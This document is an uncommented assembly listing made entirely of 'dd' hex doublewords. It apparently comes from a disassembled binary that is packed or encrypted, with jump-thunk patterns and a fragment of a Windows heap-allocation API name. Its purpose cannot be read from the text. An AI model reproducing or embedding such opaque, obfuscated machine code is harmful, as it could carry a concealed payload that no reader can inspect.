		dd 9C2C0D2Eh, 45876DCBh, 0B60866C5h, 0D30F94BFh, 9D024FF0h
		dd 0E0832C8Ch, 93B21DA9h, 0CC9555DAh, 0E5D4CCF8h, 85A8AF70h
		dd 0B6D57ECCh, 5DF1B2FFh, 7F549B18h, 0C58CAFB6h, 0F6BFDE41h
		dd 0AC17BDA9h, 0FF3BC386h, 0C5D4CCF8h, 341CE6Ah, 64000000h
		dd 58FFCBB0h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h
		dd 356Bh, 68240C89h, 4271h, 68240489h, 5F71h, 68243489h
		dd 3C15h, 0BD242C89h, 43680780h, 480E23B8h, 5DE801C3h
		dd 4EC81h, 24890000h, 24048124h, 4, 8BA525Eh, 81000000h
		dd 7A7699EAh, 81F2016Fh, 7A7699C2h, 5A02896Fh, 5324348Bh
		dd 0C381E389h, 4, 8704C383h, 8B5C241Ch,	89512404h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 6348E95Ch, 0B859FFF8h, 6B019F6h
		dd 0E0FFC503h, 7F73DF16h, 38CC2992h, 648ABF10h,	7E3EF39Ah
		dd 3AD5097h, 665E5CC2h,	56CD2B14h, 79EFF005h, 2BC988A0h
		dd 2250C6DFh, 514F0A7Ch, 1B308D8Dh, 8D8906B0h, 6A805B9h
		dd 8286EB81h, 85C7172Fh, 6A81469h, 6D64h, 0D079BE66h, 3451858Bh
		dd 85C706A8h, 6A80BBDh,	0
		dd 4800Fh, 0BF660000h, 0B5FF9D39h, 6A8298Dh, 1411BD89h
		dd 95FF06A8h, 6A820DDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 68C35545h, 0E0373B52h, 9D290039h, 6A8149Dh
		dd 25D9BD89h, 6A06A8h, 1B3195FFh, 0C08B06A8h, 20B359EBh
		dd 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 0C5961F40h, 95FFFBD4h
		dd 0B272E460h, 9E9C7087h, 491B97B9h, 59367427h,	95A8252h
		dd 0D91F29EFh, 60ADFD2Bh, 0F117660Ch, 0ECF46404h, 0E8058C43h
		dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh, 0A42B3AD9h
		dd 9D641B84h, 0E9857A5Ah, 29h, 40D06E13h, 9 dup(0)
		dd 5BAE900h, 1B3E0000h,	0C66BD452h, 0FC9C0783h,	0A0CE71B5h
		dd 5DFEA1E5h, 6C0D8A10h, 72C885A6h, 0AEFCB1D1h,	982E6705h
		dd 0C95D1437h, 3D7D8F5Dh, 7B607F2h, 5CFF5AC1h, 1C55F7D8h
		dd 57D6B6F2h, 7A38CAFh,	57D6C5C5h, 0BB94BFAFh, 0C18CAD76h
		dd 0D095BA25h, 0FFB6D253h, 87289206h, 23BB4CE4h, 0E7FFB6D2h
		dd 0C7B0F121h, 0F84A8C5Ah, 22E86665h, 0DF7E2177h, 0E8E56A77h
		dd 413A3D9Bh, 6B2E43DCh, 35FE6FC6h, 0C0460F2Eh,	5CFC3D5Fh
		dd 0EE3C15h, 1B3BFE9Fh,	0E7D0C956h, 8F4EEEB1h, 0CC7EA3EEh
		dd 0C3B67BC8h, 87952CFh, 96342D64h, 1DDADE68h, 6EA8AF58h
		dd 0D64D690Dh, 2C8C65B8h, 2D29A3BFh, 692A2D85h,	9EC06FC9h
		dd 228B4ED3h, 77913F81h, 0AF588433h, 1D82CF70h,	0C751FA0Ch
		dd 59F53458h, 79E7231Ch, 21C431FFh, 0DABE70Ch, 204283A2h
		dd 2F2F746Dh, 0AF5805E8h, 7C8E3452h, 0AF58063Ch, 108B2D06h
		dd 0F997838Fh, 7F7612DFh, 8000000h, 66CB86A7h, 0F8D19CBDh
		dd 1280B8C2h, 0E942AF58h, 5CFF644Fh, 484E8815h,	5BAF57D7h
		dd 732C7138h, 9B179CD5h, 7AF4832Ch, 0CAA6B47Dh,	2D12DFD6h
		dd 1, 0DA52FFF6h, 0EB135AF9h, 0AF57D6AFh, 0D71317B1h, 46F1AF57h
		dd 6DB2AB84h, 55DA9FB4h, 0C602A6CCh, 0D624B4F0h, 0A0821152h
		dd 5B1ABC56h, 0C5324462h, 19CBB563h, 0E4F906Ah,	0BF16200Fh
		dd 0B22B8A79h, 45EAF1h,	337A19BAh, 59BAC8F7h, 78277134h
		dd 8C159AD7h, 0BA7DA2E7h, 0E3CC9011h, 1AE0A4Fh,	36992D60h
		dd 2A85E17h, 57D6C0F8h,	38A982AFh, 0C3D45910h, 0B2DF655h
		dd 0E17BDD42h, 81175EFEh, 99C7892Ah, 57D72B6Fh,	0FA3E19AFh
		dd 0DFD4B23Eh, 7D12FD12h, 6A42F038h, 0E5000000h, 0F7135EFFh
		dd 0F622670Ch, 2DEC8C15h, 0C06D460Fh, 7537F86Dh, 5F9B1FE3h
		dd 45D3D644h, 0DA7CB9DAh, 0C768BE97h, 0DD46EBA6h, 0F6AFF4B1h
		dd 0B8FD9154h, 0ADC162CFh, 2F844BE8h, 0C2A9F786h, 94955161h
		dd 43B012DFh, 4A000000h, 219E9A2Ch, 0CB64AF58h,	5EFF466Dh
		dd 77158E13h, 0D4DFF13Eh, 6E23444Bh, 0BDD132D8h, 3662BBF8h
		dd 3959BAEDh, 0BAFE2F74h, 0F49558F5h, 9B63C0B9h, 0AF57D79Ch
		dd 2A2889EEh, 12DFD63Eh, 1D9h, 59FF6200h, 73129310h, 2872F53Ah
		dd 4CECA5C7h, 21474ED7h, 0CB69D268h, 0CB694A70h, 0A6CC1682h
		dd 0D357A354h, 0F65708C8h, 86971C59h, 0F175D412h, 294FB5FFh
		dd 0FFF19B9Fh, 18CE69B5h, 0FFF0AAEEh, 0C6BF98B5h, 0ECA5C859h
		dd 2E4FB05Eh, 0CB6A3563h, 0DBDD1D82h, 0C8B5FFF0h, 0DB44E9A0h
		dd 0A8AFF4BDh, 5D13A203h, 2083CD56h, 3DE23673h,	35D3571Eh
		dd 0BFE4A9CAh, 0C665CA6Eh, 0E281228Fh, 2A8306ABh, 22E38289h
		dd 0CA50490Ch, 4444862Ch, 3EB5FFF1h, 5357F115h,	31B5FFF1h
		dd 2A069206h, 0E51477CCh, 0FD0D0DBFh, 5CF7B5FFh, 0FD1C1CAEh
		dd 4DE6B5FFh, 13629EBh,	0E7F20000h, 0B2D80EB5h,	57D71008h
		dd 0DF59F2AFh, 6404EF15h, 5F97802Dh, 83D32AA3h,	408612BAh
		dd 0B6006301h, 5ACB68C3h, 6B54723Bh, 11A87CAh, 0E3822D97h
		dd 0F99C05AAh, 76AC73B0h, 3A0ED8Dh, 8C158E2Ah, 1BAFE685h
		dd 775AC7B3h, 632614h, 0BAF90000h, 23753859h, 52883364h
		dd 3C7C8E34h, 6AF57D7h,	1D7D8B2Dh, 0E72F57D7h, 2367E74Ch
		dd 802F57D7h, 327B1DDCh, 5EC3BCEDh, 44E9A4C5h, 8872885h
		dd 9D8C1582h, 7A65813Ch, 1F0895D8h, 0D1295399h,	0B3AF57D6h
		dd 8DAB6E10h, 554E5FC4h, 9AC02E7Ch, 57D72860h, 99B91AAFh
		dd 0D2BDFBD4h, 84h, 0EB5E7F5h, 0ACFAED8h, 9AB5B600h, 0A0E98C15h
		dd 5B9AB91Ah, 0FB2C7138h, 7EA3EA8Ah, 73EF342Dh,	0E2EE390h
		dd 0E8C16E47h, 0C7D8640h, 0E2C9B600h, 0B31B3A41h, 739761E7h
		dd 9D290289h, 9BB98A2Ah, 9E773E5Ah, 0FB2F1811h,	0B07FD841h
		dd 6581AABCh, 692DB7Ah,	1059FCA5h, 0BE674C93h, 0F63254F2h
		dd 0CCBCB07Fh, 0C2723563h, 0F9274D79h, 0B0804B4Fh, 239F31BCh
		dd 84D2F5DFh, 0B94FE942h, 0C3603610h, 0E6CD59F2h, 0D80EB5E7h
		dd 7F2F9AEh, 0BA60CBB6h, 0F2AEEA1Ch, 0BB94B607h, 6F508E7Dh
		dd 8E1187C2h, 0DA00A6EFh, 8C1154F9h, 0F337739Bh, 220DB607h
		dd 94E60CF6h, 8D35B145h, 238C2C2Eh, 62E44900h, 0FC690F09h
		dd 6FB4F99Ah, 355697B6h, 9E23B78h, 1257FBA4h, 813E9C8Dh
		dd 0A9029120h, 2B620108h, 0F67E14FFh, 690F5454h, 2C052EFCh
		dd 0B8029687h, 99DC7152h, 782DE214h, 0B4E1252Dh, 0B3D25DDBh
		dd 46ECB5FAh, 725B9E03h, 0C28BAAB1h, 0F1B8DB44h, 2044AFD5h
		dd 2BD3C469h, 0FC690BEFh, 4D3E7AD5h, 0DF4h, 59BAD700h
		dd 0FE2F7439h, 73A5E08Dh, 58FF78E3h, 70138C11h,	92BF439h
		dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
		dd 92BF60CDh, 57FA4AD7h, 0C781E789h, 4,	4B951h,	0CF290000h
		dd 243C8759h, 0E789575Ch, 4C781h, 0EF830000h, 243C8704h
		dd 2434895Ch, 5D268h, 243C8900h, 4D97B850h, 0B9513B24h
		dd 10F437Dh, 0A399D3BEh, 59CE293Eh, 5458C631h, 81243C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 8B82404h,	1000000h, 583089F8h
		dd 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	348B5C24h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 5C4CE95Ch
		dd 4863FFF8h, 9017CF4Bh, 0B020E2B8h, 0FFC50306h, 82110FE0h
		dd 195B5D75h, 92DBEB13h, 8ED6CC63h, 77697403h, 7504553h
		dd 0A740A82Dh, 5161503Eh, 0FF321B5Ah, 0D6CA604Ch, 0F9B3EA23h
		dd 5E0FB833h, 7A54353Fh, 0F4E65E0Ah, 99EA7968h,	8CBBBF3Fh
		dd 5AFDEB10h, 4FFCE67Ch, 0E1113A5Fh, 2585223Ah,	5F085765h
		dd 94EB3526h, 3F4BF355h, 9099AB58h, 0FFB7ED5Ah,	3C866659h
		dd 3F3D9626h, 3CB58E13h, 26E96Eh, 9E4A0000h, 74521C2Fh
		dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 3	dup(0)
		dd 1232E9h, 24176800h, 93E906B0h, 68FFF85Bh, 6B02540h
		dd 0F85B89E9h, 27DE68FFh, 7FE906B0h, 68FFF85Bh,	6B028B3h
		dd 0F85B75E9h, 2C8A68FFh, 6BE906B0h, 68FFF85Bh,	6B02D32h
		dd 0F85B61E9h, 2D7168FFh, 57E906B0h, 68FFF85Bh,	6B02E63h
		dd 0F85B4DE9h, 2F5068FFh, 43E906B0h, 68FFF85Bh,	6B02FEDh
		dd 0F85B39E9h, 316D68FFh, 2FE906B0h, 68FFF85Bh,	6B032B8h
		dd 0F85B25E9h, 8DC463FFh, 0BCF99639h, 0EAA3C56Eh, 1A5FF35Ch
		dd 4F02238Ch, 0D53D7CFBh, 2ADF9B4h, 36992D60h, 68CB5F16h
		dd 0AE3E8CC5h, 0F90E0ABCh, 0B6F4B607h, 155CFF89h, 3D741788h
		dd 0A50D2FF0h, 1C0F844Fh, 5DC2BB7Bh, 6970319Ah,	20690BCAh
		dd 15B1AA83h, 7F52C3h, 316722D8h, 0A47E84Bh, 397013BCh
		dd 41082BF4h, 57F11FC5h, 0AF58CB53h, 0ACE731h, 9BC4FCAAh
		dd 3B176A2h, 95F802B8h,	6FB60046h, 9BBD26C4h, 0DC5C4DD2h
		dd 45A7EF6Fh, 68C3B600h, 0BDDFCBC7h, 0C4161477h, 9EFE8680h
		dd 0A8CC3D48h, 2085B7E1h, 9E000000h, 0D80EB5E7h, 54FAEh
		dd 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0F4C414h, 0BA5F0000h
		dd 0DC95B31Ch, 57D6F632h, 5A5EE8AFh, 28AF57D7h,	0BBDCFF0Fh
		dd 149B1DF6h, 0C38EB071h, 0CF544D5Eh, 42783556h, 5B4C1B08h
		dd 3D5D9C46h, 0B2118770h, 961B52F1h, 83276E0Dh,	0E3357C20h
		dd 6E10F319h, 0BADFE23h, 585598FDh, 0C0C4EAFh, 503F4A43h
		dd 0B6D55ADEh, 40E8CBFFh, 0BA8ED81h, 0A3F43912h, 1248F75h
		dd 0F222EB48h, 0E06B9D49h, 0A2B600A4h, 0BB2C6101h, 0ACFAD396h
		dd 0E402B91Bh, 0E1F75BFBh, 737891DAh, 0A8812E07h, 53BCDA00h
		dd 0E4357A3Fh, 1C1EB2B4h, 4BE4BCABh, 5E13349Fh,	46C667C8h
		dd 0AB1C0404h, 7C55FEBCh, 619F884Ch, 0DAAB08ECh, 0F99h
		dd 0B20841E8h, 0ED397C11h, 0DB6F2642h, 0B9FDA78h, 7CCA87A8h
		dd 2F50C2F7h, 0DB7B2462h, 8DAF1096h, 0BEDD46C4h, 312BB3F7h
		dd 7FB9397h, 0C2B71B6h,	97135EFFh, 0A4C8092Ch, 7E5740EDh
		dd 0B5E70328h, 0A9ED80Eh, 61414881h, 749258D0h,	44C016E2h
		dd 781A7F5Ch, 913AE624h, 0BE48E0D9h, 0B6008A5Fh, 233AF701h
		dd 2E978F38h, 0D426448Ah, 0F8B739C7h, 3B7F8782h, 9B6006Ah
		dd 72E8352Eh, 7EBAF391h, 69ACE8h, 0C263C8B6h, 7745C4B0h
		dd 0AC10B14h, 8B654855h, 0B9F093F4h, 47F52374h,	0CCh, 5149F319h
		dd 33B60062h, 0CCA5EC90h, 5CFF476Ch, 14B2FB9Dh,	57D6B6F2h
		dd 0CAA38CAFh, 0D69BBC65h, 0DC648149h, 1C3FAF57h, 9427B155h
		dd 30BBC2FAh, 8E74DE5Ah, 0E4490425h, 9BBA65B3h,	68CC4DD2h
		dd 469537D3h, 3CB600C5h, 6A0CF713h, 5A1FA27h, 0C4C7C3h
		dd 692BDB6h, 12A90BBCh,	63ED52F4h, 79F3BCABh, 374F8C0Fh
		dd 0B9F10B81h, 8BBCAB6Bh, 0DF61B7A0h, 0CC6D5674h, 0F99A0581h
		dd 4FCA14B4h, 0E9CAEC61h, 0E7018h, 0D198BF00h, 45EA55h
		dd 367F19BAh, 66234FF0h, 93DE7F20h, 29E98817h, 5EC14508h
		dd 8A35713Ch, 0BC67A3EAh, 0D24AD099h, 0FBBAFE08h, 4288B607h
		dd 0EA1CBAE5h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h, 9CBB0F46h
		dd 0AED85CFFh, 0AF57D76Ah, 9DD47758h, 352E0710h, 400D2E91h
		dd 3F59CAE3h, 0E0412276h, 54B6F4BDh, 0AF57D750h, 2D793053h
		dd 5AAE382h, 73B0F99Ch,	52DF96B2h, 0B5FAB3D1h, 930247ECh
		dd 97FA793Ah, 0CF6E753Eh, 0B8940086h, 5F12DFD6h, 0D4h
		dd 0EB5E7E0h, 0FD43AED8h, 0BA25B5FFh, 904ED39Ah, 0FFFD3276h
		dd 4E2710B5h, 0A60B24EAh, 7E3B57B8h, 0FCE82C3Ah, 99BBB5FFh
		dd 0B2D253D0h, 6EDFB6FBh, 1EA36C5h, 14B6DCA0h, 0B5FFFD14h
		dd 47D345EEh, 1477F46Bh, 8BB2h,	9C2E5400h, 0B600059Ch
		dd 406BCD66h, 0AEEA1CBAh, 94AF57D6h, 0ACEB7DBBh, 0EFAF57D6h
		dd 0B6D0F64Dh, 0B5FFE3FFh, 73DC6AC5h, 89129FD2h, 0E06A902Bh
		dd 49E6BE0h, 0AE6372DCh, 396AF8F2h, 345AF09h, 0BCA8DC08h
		dd 6AD551FAh, 0C01E83CAh, 0DF089FB6h, 0C270D459h, 1D3DAE87h
		dd 5EDAD350h, 91316BC9h, 5FEEC1A8h, 3177416Ch, 0F8D16842h
		dd 0A6A1DB0Fh, 0B8C35194h, 0BC52BE3Eh, 0C9FBFDFh, 9153AB64h
		dd 46882015h, 0B2D659EDh, 0F1000009h, 0D80EB5E7h, 0DFC6C89Eh
		dd 7DAEF3BEh, 8F96F065h, 8EB9C329h, 50B60083h, 8398902Ah
		dd 496AB600h, 0EC3D622Bh, 389BA5F3h, 0C6D75C15h, 968FC665h
		dd 82C5C109h, 0BCDEB600h, 0E93DA79h, 26FF241Dh,	0AEE24F06h
		dd 53DD5CC5h, 4F3B37F8h, 0AE14777Eh, 0Dh, 0D75EA671h, 7CCDAF57h
		dd 0FFFFFBC5h, 7D30BA5Fh, 73EFD69h, 86CB6CDDh, 1FA80019h
		dd 96E006BDh, 24480A0Ah, 0FF65B357h, 0BDB64Dh, 7EA38CB6h
		dd 0BDB8FCh, 0A50ED4B6h, 0F06BCD88h, 3537232Fh,	78D61477h
		dd 0A8000005h, 0C16E2B47h, 0C6A7E325h, 0B29DB600h, 0BA545FD9h
		dd 27713459h, 0C92AB686h, 81CC6EAFh, 8D120B1Ch,	298B1C9Ch
		dd 0A7D27492h, 9DB5FFECh, 7C55183Ah, 0B994E60Ch, 377395EBh
		dd 0DB60002h, 8336A822h, 0F57A8524h, 4F389F99h,	7EF61FE9h
		dd 7B55FC5h, 0FFE00EBCh, 918A1752h, 8E5AC107h, 0EE28666Dh
		dd 19ED5D6Dh, 1BCFB84Fh, 59DF9AB8h, 48F321EAh, 79D6892h
		dd 0CC676D19h, 0DF96B51Eh, 65A4C82Bh, 0C918AC3h, 0C9379D1Bh
		dd 0AD0B42E6h, 0FE2A6302h, 3BF3B41Ah, 0D2FC4566h, 2100000Bh
		dd 58FB4F06h, 87287E3Bh, 0B112A8E1h, 0E142D89Dh, 32B90D40h
		dd 0BFF2937Fh, 0EBA6C86Bh, 1950F45Fh, 4A03228Dh, 48F268FCh
		dd 0B607FE50h, 0FF4FF432h, 0F88155Ch, 56F016ADh, 0B6000427h
		dd 2B94321Dh, 59FA4009h, 6B54723Bh, 0BB2880C9h,	477B3h
		dd 143175B6h, 0CA6AB600h, 54335571h, 2EBCA814h,	565E9805h
		dd 72BCA814h, 2E1A1899h, 0E11F8FEBh, 30F84297h,	54C42935h
		dd 2DA6h, 0B5E77900h, 0EBAED80Eh, 0D9B60004h, 201954F6h
		dd 8F396783h, 0B600058Bh, 7F365679h, 0DA00F932h, 568A0h
		dd 0A7F15AB6h, 15D8h, 0B5E7F300h, 3BAED80Eh, 9B60009h
		dd 7A65812Eh, 1A1390D5h, 5CFF959Eh, 86CCD8F4h, 0D1CA3A2Bh
		dd 0B408CB37h, 1DE6C5F9h, 0AFDh, 26642D4Ch, 1195D07Dh
		dd 47C38AAEh, 0B7F3B6DCh, 0E0266B0Ch, 9BBC561Bh, 4FEF50D6h
		dd 791B8402h, 2A49EA30h, 0A5472763h, 7FF2763h, 70DF1DB6h
		dd 0B9C3B5E7h, 0AF57D781h, 0CBFFE843h, 0FFF6BAB1h, 2AF88B5h
		dd 9D0682A1h, 3E6FB4F1h, 0FFF79494h, 0ECC56EB5h, 0F00AB05Eh
		dd 0B5FFF6B8h, 0F71C1CAEh, 4DE6B5FFh, 0C00692BDh, 0DD4B3145h
		dd 4DE2D546h, 7A51FE08h, 11F18201h, 22648238h, 0DD4AFBE6h
		dd 491C92DCh, 0C045315Ah, 40FB41D7h, 9B357ECh, 0E3F3D9E2h
		dd 355377A0h, 0F3DA9793h, 8C26DE3h, 52E0630h, 0A7049448h
		dd 961451FEh, 91DD8735h, 0FB5AC149h, 9DE0FE18h,	5076C145h
		dd 771810AAh, 41EAE3F4h, 6D08B268h, 57EA9C77h, 6FB7B7FCh
		dd 34EA9C77h, 4DD65B1Eh, 24BE92Ch, 68458429h, 3E848C7h
		dd 72A490A2h, 886B299Bh, 0CF0DABE6h, 176h, 0EB5E750h, 3251B2D8h
		dd 0B3E5367Bh, 0FFF6B6B5h, 7A38CB5h, 0B5329FD9h, 51ECC220h
		dd 171A9h, 0B0F853B6h, 0F23352D3h, 85961B52h, 5AA81C4Dh
		dd 0F5EEFF4Fh, 7014BB1h, 0C0A077EAh, 1736F93Fh,	8E09D15Eh
		dd 27DD4B67h, 0F0B9DCC7h, 0B1D7C1E6h, 63B54D26h, 7D202788h
		dd 0E208F634h, 4BA06058h, 0AF0922DDh, 0F6145D00h, 31CC4164h
		dd 71A7F918h, 2ECD4892h, 23880496h
		dd 91D87B82h, 238BAA15h, 80A861AAh, 0F9261FB2h,	24E1826Dh
		dd 0C8E14E03h, 99912BDFh, 6B04963Bh, 7CDF68C0h,	0C3E721C5h
		dd 8104963Bh, 5B71096h,	0D05D1836h, 8E38EEC7h, 0B3E620Fh
		dd 4CD55AF5h, 79DA6029h, 0D00E93DAh, 9D024FEFh,	0F6DA2C8Ch
		dd 0F30B3E61h, 0AC1759DAh, 0C768C089h, 19A80CA4h, 1DD59CBFh
		dd 9B0CF76Dh, 3D6EB3F6h, 0B718C644h, 885EDA97h,	7F922F32h
		dd 3C7C8E34h, 67F922Fh,	9B3C8B2Dh, 1A399A20h, 0AFF4BDDBh
		dd 7E61857Eh, 523772DAh, 0E9414A27h, 1FCBB8F0h,	0AC5357F1h
		dd 0E7317F92h, 0B4F60388h, 0CE6A43F1h, 0D9A2B038h, 0CB54C105h
		dd 3F60A1C4h, 3FC2D72h,	0B8791C87h, 9D2FDB96h, 5D9A39Dh
		dd 4ED3CC67h, 3C5C6FCDh, 6FF2875h, 800BAE0h, 0FA05D9A3h
		dd 0EB1DC751h, 0C81D1CCh, 86099DB6h, 6Ah, 74B91660h, 0A9C90AB9h
		dd 23CFCB7Dh, 9AB50C81h, 30BA151Eh, 7DC68898h, 87AB1CAAh
		dd 63D156C2h, 8C652C50h, 706D2C5Eh, 0FC57B600h,	0E621ABB7h
		dd 76F2940Eh, 5E34BF60h, 0D8593984h, 0E7A2CF50h, 0F5BCE0C3h
		dd 53397FA8h, 65284AB5h, 5F8B0533h, 1059FCE7h, 0D8AC0F98h
		dd 8E6AAEh, 6FF58B6h, 8E6AA6E0h, 0FF58B600h, 5CFFA483h
		dd 314BF115h, 0AF57D6F9h, 0D44E8CBh, 1A9E77A0h,	0CF694AB0h
		dd 4D266F0Eh, 43F85CEBh, 0DE7665A7h, 0E34CB5FFh, 0E3E9B5C7h
		dd 0DB135E00h, 15B7FDDBh, 0B5FFF015h, 936B44EFh, 8D81E3D1h
		dd 668C2C5Fh, 1096DF7Dh, 26C48DAFh, 0E8406AD4h,	43D5DF46h
		dd 83F527E0h, 0EE337E20h, 0E1515BDh, 44EFB600h,	0E20DBF6Bh
		dd 0A0BCA83Ah, 93355377h, 0BCA83B97h, 0F556C26Dh, 0A84B3175h
		dd 0F9CA6ABCh, 893D165Fh, 4AE1D963h, 88A3BCA8h,	339C3A20h
		dd 87805A1Fh, 2A12F703h, 16F177A1h, 0ECC350C3h,	181CDE43h
		dd 0B4C350C3h, 684456DFh, 0A701273Ah, 0CD52173Ch, 34BE5CDCh
		dd 81000000h, 0D80EB5E7h, 0E02738B2h, 781BFA57h, 1AD4E145h
		dd 6A9C05C2h, 0AF57E82Eh, 0D6423B14h, 159910h, 63C06BB6h
		dd 23E2h, 80F20400h, 0F933FEB9h, 0E74D56C2h, 0AED80EB5h
		dd 0B600093Bh, 65812E09h, 4772DA7Ah, 0E7D0373Fh, 0F922766Fh
		dd 0F3155CFFh, 0F9B4E409h, 26D3AC0Fh, 75000007h, 0A40F9BD2h
		dd 0D37CCA8Fh, 5AEFCB5h, 359E2C69h, 46CD5914h, 0F3BEDF33h
		dd 276A0CB7h, 551C40E3h, 86CF6ED1h, 446A400h, 0B6080304h
		dd 193B8FEh, 0E65DFF20h, 0ED5386C0h, 0AA15B5FFh, 0C35CC184h
		dd 0B8F0E9A0h, 0BD4BBD96h, 7846C7BDh, 531E40A3h, 0A4D242C5h
		dd 46C82662h, 5A331C78h, 0F3012AACh, 0A3B91471h, 525DEF75h
		dd 307EEE66h, 3A0E98Fh,	2A95312Ah, 76D5430Ah, 0D77107B5h
		dd 7EEE65D3h, 79AD86B1h, 96A08ACFh, 34577885h, 7D66847Dh
		dd 907397DEh, 8E74A4EDh, 994F0625h, 23761B2Dh, 7E338C2Fh
		dd 0CD000006h, 0FCA7E3AAh, 2B941257h, 5DC6440Dh, 8D367431h
		dd 9E65A1ECh, 5B1637DBh, 8FC264CFh, 0BDF4983Bh,	0EEA7C669h
		dd 0EC1ECC58h, 0B60803ACh, 0FFEB5096h, 0EDF3155Ch, 23F9B4E3h
		dd 63F3F80h, 0EB8E0000h, 96BB64A2h, 4CEC57D3h, 701E8105h
		dd 2D4EF135h, 1C5DDA60h, 821855F6h, 0FE4C0121h,	287E3755h
		dd 19ADE487h, 0ED2D5F8Dh, 0D7B60803h, 5CFFAA91h, 6E0EF115h
		dd 0A29FA27h, 0D4CDDE43h, 0F626E744h, 346F994Dh, 2AB607F9h
		dd 0B3E5A8C9h, 44092A8Dh, 0C86CDF6Bh, 83295773h, 7F94179h
		dd 802803B6h, 0B02CDB46h, 218EA9BCh, 0B02CDDD9h, 9112F9BCh
		dd 940E4CFh, 0C0CBEA4h,	0F6BCB02Dh, 6034645Dh, 1F878474h
		dd 5F3331BBh, 0DCFBC523h, 0A819F2B7h, 0AD6FC980h, 93h
		dd 662B4CB7h, 6348E039h, 5CF02101h, 52B9C3E7h, 30B5FFEDh
		dd 3967A107h, 728506FFh, 3B4D79C2h, 8BAF0E90h, 0D354D972h
		dd 862CDA61h, 0AF0E4444h, 0F1153E8Bh, 0AF0E5357h, 9206318Bh
		dd 77673E48h, 0F25D925Ah, 148EBD4h, 327B1A85h, 0B2440496h
		dd 0D6AF0C16h, 54Dh, 76B4FD9Ch,	0A1E5A0CDh, 97135AFEh
		dd 0C743062Ch, 30763B5Ch, 6B0C06ABh, 1F3FE026h,	0C96BD452h
		dd 0FA993A80h, 75F777B3h, 804D7D3h, 0C06FADB6h,	0E8DFh
		dd 0B7D83B00h, 0BA75BEFAh, 27713459h, 5377CC60h, 7F8EA29h
		dd 14B2D8B6h, 7F8B6F2h,	1BA38CB6h, 0B607F91Fh, 0ADE484h
		dd 627CD717h, 64C00A92h, 0EC1AF35Ch, 0AAEE1846h, 98B60890h
		dd 911317BFh, 46F1B608h, 84A708D2h, 99B619CDh, 8C4657DCh
		dd 0F2EE1670h, 0AD178120h, 0FC2A6302h, 0E976697Ah, 128676F7h
		dd 1E44E8B1h, 8190DDE2h, 832710DEh, 8D8D3F65h, 77B6080Fh
		dd 86CB6BDCh, 3E39D412h, 200BBCB0h, 219A3A83h, 30751A85h
		dd 0F47EBAF3h, 5DF40C4Eh, 0D9D23A62h, 1B9F9B2Dh, 0CA65BCB0h
		dd 24A5986Eh, 3C9FC358h, 0DBCC5118h, 96AEC6E2h,	0C1E2E5B4h
		dd 46040h, 0C188AF00h, 0F0B5DA45h, 266F09AAh, 56133FE0h
		dd 83CE6FD0h, 19F9B807h, 4EF13578h, 7A25612Ch, 0AC1793DAh
		dd 0E27AC089h, 5CACE78h, 72B8B608h, 0D762A6D5h,	1C18AF57h
		dd 0C2AF57D7h, 730C52A4h, 68C4C94Ah, 58296AAEh,	0E7FF58AFh
		dd 0AEACDFAEh, 5CEB4D90h, 79A743F8h, 41582AFFh,	0D7C06D20h
		dd 110B821Fh, 4524187h,	0C214B608h, 5FF379DCh, 27FDC01Ah
		dd 440D2B9Ch, 0A46ACEDFh, 9238268Bh, 8C53068h, 0A13912B6h
		dd 0C665A0F5h, 5CC35515h, 36487039h, 56F304E3h,	3C3EC55h
		dd 77120000h, 2A47E83Eh, 0D078DB6Fh, 8CA20D99h,	0B1D27DC9h
		dd 9021AEFCh, 1EACE182h, 42D895B5h, 0BC0A43E1h,	0ED397013h
		dd 6159E379h, 23B60806h, 5CFF3EE5h, 0AD0F8815h,	2C4AF016h
		dd 57D79E9Ah, 6DCB64AFh, 8189Bh, 0C541EAB6h, 6B121A03h
		dd 0A5E88912h, 589DBE61h, 19867F3Ah, 690C3F90h,	59933720h
		dd 5AFFB17Fh, 0D5BFF945h, 0D85CFFEEh, 57D76AAEh, 6FF58AFh
		dd 2C650899h, 0F98F2D9Eh, 57D74B4Fh, 0AD1E39AFh, 33D7C08Dh
		dd 0FFF66689h, 0AEF35CB5h, 0FFF668ACh, 6AF04B5h, 77CD18F4h
		dd 29FF14h, 0E7400000h,	0AED80EB5h, 0B600054Fh,	2E80C711h
		dd 785DD9FEh, 0F8250E30h, 90367Eh, 38F952B6h, 776F4E3Ah
		dd 103A914h, 0BA720000h, 22763F59h, 7D1FDE7Dh, 0D74B4FF9h
		dd 1E39AF57h, 0B6AFF825h, 1797B869h, 57D6B5F5h,	0DF698FAFh
		dd 0AF57D6DBh, 0BC958EA9h, 0C68FAE77h, 0D228D59h, 1C3FE048h
		dd 0C82BD155h, 9B47ECA5h, 57D72961h, 47301BAFh,	0DBEE17D1h
		dd 96B5AF57h, 5EF33657h, 0AC85961Bh, 96B51607h,	605952DFh
		dd 1BDA79DAh, 0DB583178h, 0AD59E252h, 0FFEBF01Bh, 57F1D2B5h
		dd 1E81251Eh, 12F8307Dh, 0FC3C4EF4h, 0C6B5FFEBh, 0A00D48E5h
		dd 29449E77h, 50F22985h, 3C901781h, 0F926630Fh,	0E913B7A0h
		dd 0BCAB3DC0h, 927DA982h, 0C56EBCF1h, 893FE9A4h, 17EC617Eh
		dd 2432B94h, 0F7920000h, 0AAC768BEh, 50F85BEFh,	0C228D19h
		dd 3152FD49h, 10A12E7Ch, 9E2C6102h, 0C2581535h,	3C8AC361h
		dd 6DB9F093h, 0E1D963F9h, 0A3B60807h, 5EFFBE65h, 6C0CF713h
		dd 9AFF825h, 8D3F6583h,	0AF57D78Dh, 0D35CDC77h,	0E2CDF9B0h
		dd 23A90F46h, 0EB5E704h, 54FAED8h, 1A35B600h, 0A72F6AECh
